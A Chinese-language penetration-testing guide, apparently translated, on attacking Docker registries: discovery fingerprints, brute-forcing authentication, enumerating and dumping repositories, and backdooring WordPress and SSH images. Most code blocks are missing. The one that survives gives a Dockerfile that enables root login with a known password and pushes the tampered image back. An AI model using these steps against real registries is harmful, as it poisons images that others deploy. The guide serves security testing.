5000 - Pentesting Docker Registry
基本信息
一个名为Docker registry的存储和分发系统用于存放命名的 Docker 镜像,这些镜像可能有多个版本,通过标签进行区分。这些镜像在注册表中的Docker repositories中组织,每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或上传到注册表,前提是用户具有必要的权限。
DockerHub 作为 Docker 的默认公共注册表,但用户也可以选择运行开源 Docker 注册表/分发的本地版本,或选择商业支持的Docker Trusted Registry。此外,还可以在线找到各种其他公共注册表。
要从本地注册表下载镜像,使用以下命令:
docker pull my-registry:9000/foo/bar:2.1这个命令从my-registry域名上端口9000处的本地注册表中获取foo/bar镜像版本2.1。相反,要从DockerHub下载相同的镜像,特别是如果2.1是最新版本,则命令简化为:
docker pull foo/bar默认端口: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)发现
发现运行此服务的最简单方法是在nmap的输出中找到它。无论如何,请注意,由于它是基于HTTP的服务,可能在HTTP代理后面,nmap无法检测到它。 一些指纹:
如果访问
/,响应中不会返回任何内容如果访问
/v2/,则会返回{}如果访问
/v2/_catalog,可能会获得:{"repositories":["alpine","ubuntu"]}{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
枚举
HTTP/HTTPS
Docker注册表可能配置为使用HTTP或HTTPS。因此,您可能需要做的第一件事是找出正在配置的是哪种:
认证
Docker注册表也可以配置为需要认证:
如果Docker Registry需要身份验证,您可以尝试使用此方法进行暴力破解。
如果找到有效凭据,您将需要使用它们来枚举注册表,在curl中可以像这样使用它们:
使用 DockerRegistryGrabber 进行枚举
DockerRegistryGrabber 是一个用于枚举/转储 Docker 仓库(无需或带有基本身份验证)的 Python 工具。
使用curl进行枚举
一旦您获得对Docker注册表的访问权限,以下是您可以使用的一些命令进行枚举:
请注意,当您下载并解压缩 blobs 文件时,文件和文件夹将出现在当前目录中。如果您下载所有 blobs 并将它们解压缩到同一个文件夹中,它们将覆盖先前解压缩的 blobs 中的值,因此请小心。最好将每个 blob 解压缩到不同的文件夹中,以检查每个 blob 的确切内容。
使用 Docker 进行枚举
在WordPress镜像中植入后门
在发现一个保存WordPress镜像的Docker Registry的情况下,你可以对其进行后门操作。 创建后门:
创建一个 Dockerfile:
创建新镜像,检查其是否已创建,并推送它:
在SSH服务器镜像中植入后门
假设你发现了一个带有SSH镜像的Docker Registry,并且想要在其中植入后门。 下载该镜像并运行它:
从SSH镜像中提取sshd_config文件:
并修改它以设置:PermitRootLogin yes
创建一个如下所示的 Dockerfile:
```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **创建**新镜像,**检查**其是否已创建,并**推送**它: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## 参考资料 * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
最后更新于